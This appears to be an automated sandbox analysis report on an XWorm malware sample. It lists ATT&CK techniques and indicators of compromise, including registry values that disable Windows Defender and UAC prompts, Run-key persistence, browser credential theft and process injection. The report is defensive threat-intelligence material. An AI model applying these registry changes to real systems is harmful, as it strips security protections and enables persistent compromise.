xworm | 730afe6605cfb0e3791276199c49d2af11585c5d470ee6f4c318040faf53f1a7

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	888Cry55pto_18Layer_DefenderKill.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBlockAtFirstSeen = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	888Cry55pto_18Layer_DefenderKill.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	888Cry55pto_18Layer_DefenderKill.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4976	powershell.exe
5420	powershell.exe

A potential corporate email address has been identified in the URL: [email protected]
phishing

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	888Cry55pto_18Layer_DefenderKill.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	program1.exe

Executes dropped EXE 2 IoCs

pid	Process
3668	program1.exe
3408	program2.exe

Loads dropped DLL 37 IoCs

pid	Process
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe
3344	888Cry55pto_18Layer_DefenderKill.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\IDMan = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_o2yxtdph\\program1.exe /onboot"	program1.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1"	888Cry55pto_18Layer_DefenderKill.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

BHOs are DLL modules which act as plugins for Internet Explorer.

stealer adware

Modify Registry

Browser Extensions

T1176

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\ = "IDM Helper"	program1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\NoExplorer = "1"	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\ = "IDM Helper"	program1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\NoExplorer = "1"	program1.exe

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	888Cry55pto_18Layer_DefenderKill.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3408 set thread context of 5888	3408	program2.exe	685

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
732	cmd.exe
2512	cmd.exe
3620	cmd.exe
1676	cmd.exe
5100	cmd.exe
3820	cmd.exe
3248	cmd.exe
1092	cmd.exe
440	cmd.exe
4964	cmd.exe
2360	cmd.exe
2168	cmd.exe
3604	cmd.exe
4152	cmd.exe
4360	cmd.exe
2288	cmd.exe
4592	cmd.exe
4708	cmd.exe
2712	cmd.exe
1844	cmd.exe
4548	cmd.exe
2444	cmd.exe
3204	cmd.exe
988	cmd.exe
4968	cmd.exe
2988	cmd.exe
1760	cmd.exe
4200	cmd.exe
4312	cmd.exe
5108	cmd.exe
3708	cmd.exe
2992	cmd.exe
2024	cmd.exe
5092	cmd.exe
4160	cmd.exe
4384	cmd.exe
2732	cmd.exe
1456	cmd.exe
2652	cmd.exe
3300	cmd.exe
3052	cmd.exe
3400	cmd.exe
3272	cmd.exe
4204	cmd.exe
1936	cmd.exe
3872	cmd.exe
4496	cmd.exe
3972	cmd.exe
3552	cmd.exe
4740	cmd.exe
4756	cmd.exe
2392	cmd.exe
3728	cmd.exe
4676	cmd.exe
1576	cmd.exe
612	cmd.exe
3732	cmd.exe
2824	cmd.exe
1332	cmd.exe
876	cmd.exe
776	cmd.exe
2324	cmd.exe
2372	cmd.exe
3852	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	program1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	program2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Kills process with taskkill 64 IoCs

pid	Process
1572	taskkill.exe
4344	taskkill.exe
4304	taskkill.exe
3736	taskkill.exe
208	taskkill.exe
4720	taskkill.exe
3264	taskkill.exe
1692	taskkill.exe
3284	taskkill.exe
3252	taskkill.exe
4004	taskkill.exe
5052	taskkill.exe
4300	taskkill.exe
1992	taskkill.exe
2672	taskkill.exe
2760	taskkill.exe
872	taskkill.exe
1092	taskkill.exe
972	taskkill.exe
3268	taskkill.exe
5020	taskkill.exe
3380	taskkill.exe
2844	taskkill.exe
2844	taskkill.exe
2860	taskkill.exe
788	taskkill.exe
1656	taskkill.exe
532	taskkill.exe
3860	taskkill.exe
2460	taskkill.exe
756	taskkill.exe
60	taskkill.exe
4248	taskkill.exe
1340	taskkill.exe
1984	taskkill.exe
3348	taskkill.exe
788	taskkill.exe
4824	taskkill.exe
4904	taskkill.exe
4616	taskkill.exe
4200	taskkill.exe
1340	taskkill.exe
3828	taskkill.exe
1128	taskkill.exe
2836	taskkill.exe
1096	taskkill.exe
5016	taskkill.exe
3800	taskkill.exe
876	taskkill.exe
752	taskkill.exe
4704	taskkill.exe
4280	taskkill.exe
4472	taskkill.exe
2108	taskkill.exe
4904	taskkill.exe
4188	taskkill.exe
972	taskkill.exe
4520	taskkill.exe
3716	taskkill.exe
3380	taskkill.exe
3852	taskkill.exe
3688	taskkill.exe
1696	taskkill.exe
3012	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 22 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\AppName = "program1.exe"	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\AppPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_o2yxtdph"	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\AppName = "program1.exe"	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\Download with IDM\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_o2yxtdph\\IEExt.htm"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\AppPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_o2yxtdph"	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\DownloadUI = "{7D11E719-FF90-479C-B0D7-96EB43EE55D7}"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\AppName = "IEMonitor.exe"	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{1902485B-CE75-42C1-BA2D-57E660793D9A}\Policy = "3"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Low Rights\DragDrop	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}	program1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\AppPath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_o2yxtdph"	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{E0DACC63-037F-46EE-AC02-E4C7B0FBFEB4}\Policy = "3"	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Low Rights\DragDrop\{19129CDA-AFC0-4330-99BC-C5A834F89006}\Policy = "3"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\DownloadUI = "{7D11E719-FF90-479C-B0D7-96EB43EE55D7}"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\Download with IDM	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\MenuExt\Download with IDM\contexts = "243"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Low Rights	program1.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\WOW6432Node\CLSID\{07999AC3-058B-40BF-984F-69EB1E554CA7}	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\WOW6432Node\CLSID\{07999AC3-058B-40BF-984F-69EB1E554CA7}\Model = "219"	program1.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\WOW6432Node\CLSID\{07999AC3-058B-40BF-984F-69EB1E554CA7}\Therad = "1"	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\LocalServer32	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}	program1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\ROTFlags = "1"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\IDMan.CIDMLinkTransmitter\CLSID\ = "{AC746233-E9D3-49CD-862F-068F7B7CCCA4}"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_temp_o2yxtdph\\program1.exe"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\ = "IDMan"	program1.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings	firefox.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\ = "IDMan.CIDMLinkTransmitter"	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\IDMan.CIDMLinkTransmitter	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\IDMan.CIDMLinkTransmitter\CLSID	program1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\AppID = "{AC746233-E9D3-49CD-862F-068F7B7CCCA4}"	program1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{AC746233-E9D3-49CD-862F-068F7B7CCCA4}\RunAs = "Interactive User"	program1.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5888	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1120	powershell.exe
1120	powershell.exe
1120	powershell.exe
1120	powershell.exe
1120	powershell.exe
1120	powershell.exe
1332	powershell.exe
1332	powershell.exe
5088	powershell.exe
5088	powershell.exe
4476	powershell.exe
4476	powershell.exe
3136	powershell.exe
3136	powershell.exe
1272	powershell.exe
1272	powershell.exe
3428	powershell.exe
3428	powershell.exe
4704	powershell.exe
4704	powershell.exe
1028	powershell.exe
1028	powershell.exe
1068	powershell.exe
1068	powershell.exe
1056	powershell.exe
1056	powershell.exe
1936	powershell.exe
1936	powershell.exe
2956	powershell.exe
2956	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
2096	powershell.exe
2096	powershell.exe
3068	powershell.exe
3068	powershell.exe
4324	powershell.exe
4324	powershell.exe
4356	powershell.exe
4356	powershell.exe
2760	powershell.exe
2760	powershell.exe
3512	powershell.exe
3512	powershell.exe
1128	powershell.exe
1128	powershell.exe
3872	powershell.exe
3872	powershell.exe
4480	powershell.exe
4480	powershell.exe
3772	powershell.exe
3772	powershell.exe
2024	powershell.exe
2024	powershell.exe
4796	powershell.exe
4796	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe
2404	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2844	taskkill.exe
Token: SeDebugPrivilege	4824	taskkill.exe
Token: SeDebugPrivilege	4732	taskkill.exe
Token: SeDebugPrivilege	3896	taskkill.exe
Token: SeDebugPrivilege	4300	taskkill.exe
Token: SeDebugPrivilege	4472	taskkill.exe
Token: SeDebugPrivilege	208	taskkill.exe
Token: SeDebugPrivilege	3620	taskkill.exe
Token: SeDebugPrivilege	1984	taskkill.exe
Token: SeDebugPrivilege	5044	taskkill.exe
Token: SeDebugPrivilege	1888	taskkill.exe
Token: SeDebugPrivilege	2836	taskkill.exe
Token: SeDebugPrivilege	3108	taskkill.exe
Token: SeDebugPrivilege	2108	taskkill.exe
Token: SeDebugPrivilege	2776	taskkill.exe
Token: SeDebugPrivilege	4056	taskkill.exe
Token: SeDebugPrivilege	844	taskkill.exe
Token: SeDebugPrivilege	3804	taskkill.exe
Token: SeDebugPrivilege	4248	taskkill.exe
Token: SeDebugPrivilege	1092	taskkill.exe
Token: SeDebugPrivilege	772	taskkill.exe
Token: SeDebugPrivilege	4748	taskkill.exe
Token: SeDebugPrivilege	2752	taskkill.exe
Token: SeDebugPrivilege	3252	taskkill.exe
Token: SeDebugPrivilege	1688	taskkill.exe
Token: SeDebugPrivilege	972	taskkill.exe
Token: SeDebugPrivilege	1096	taskkill.exe
Token: SeDebugPrivilege	4404	taskkill.exe
Token: SeDebugPrivilege	1656	taskkill.exe
Token: SeDebugPrivilege	3852	taskkill.exe
Token: SeDebugPrivilege	532	taskkill.exe
Token: SeDebugPrivilege	3688	taskkill.exe
Token: SeDebugPrivilege	2400	taskkill.exe
Token: SeDebugPrivilege	3980	taskkill.exe
Token: SeDebugPrivilege	3864	taskkill.exe
Token: SeDebugPrivilege	1832	taskkill.exe
Token: SeDebugPrivilege	3860	taskkill.exe
Token: SeDebugPrivilege	2928	taskkill.exe
Token: SeDebugPrivilege	2992	taskkill.exe
Token: SeDebugPrivilege	2460	taskkill.exe
Token: SeDebugPrivilege	4520	taskkill.exe
Token: SeDebugPrivilege	1260	taskkill.exe
Token: SeDebugPrivilege	972	taskkill.exe
Token: SeDebugPrivilege	4408	taskkill.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	4768	taskkill.exe
Token: SeDebugPrivilege	4968	taskkill.exe
Token: SeDebugPrivilege	752	taskkill.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	3824	taskkill.exe
Token: SeDebugPrivilege	3028	taskkill.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	3136	powershell.exe
Token: SeDebugPrivilege	1272	powershell.exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	1992	taskkill.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1084	firefox.exe
3668	program1.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe
1084	firefox.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3668	program1.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3668	program1.exe
3668	program1.exe
3668	program1.exe
1084	firefox.exe
3668	program1.exe
3668	program1.exe
3668	program1.exe
3668	program1.exe
5888	RegSvcs.exe
3668	program1.exe
3668	program1.exe
3668	program1.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4540 wrote to memory of 3344	4540	888Cry55pto_18Layer_DefenderKill.exe	86
PID 3344 wrote to memory of 3840	3344	888Cry55pto_18Layer_DefenderKill.exe	88
PID 3840 wrote to memory of 2844	3840	cmd.exe	90
PID 3344 wrote to memory of 332	3344	888Cry55pto_18Layer_DefenderKill.exe	91
PID 332 wrote to memory of 4824	332	cmd.exe	93
PID 3344 wrote to memory of 1440	3344	888Cry55pto_18Layer_DefenderKill.exe	94
PID 1440 wrote to memory of 4732	1440	cmd.exe	96
PID 3344 wrote to memory of 3400	3344	888Cry55pto_18Layer_DefenderKill.exe	97
PID 3400 wrote to memory of 3896	3400	cmd.exe	99
PID 3344 wrote to memory of 2520	3344	888Cry55pto_18Layer_DefenderKill.exe	100
PID 2520 wrote to memory of 4300	2520	cmd.exe	102
PID 3344 wrote to memory of 2732	3344	888Cry55pto_18Layer_DefenderKill.exe	103
PID 2732 wrote to memory of 4472	2732	cmd.exe	105
PID 3344 wrote to memory of 4524	3344	888Cry55pto_18Layer_DefenderKill.exe	106
PID 4524 wrote to memory of 208	4524	cmd.exe	108
PID 3344 wrote to memory of 116	3344	888Cry55pto_18Layer_DefenderKill.exe	109
PID 116 wrote to memory of 3620	116	cmd.exe	111
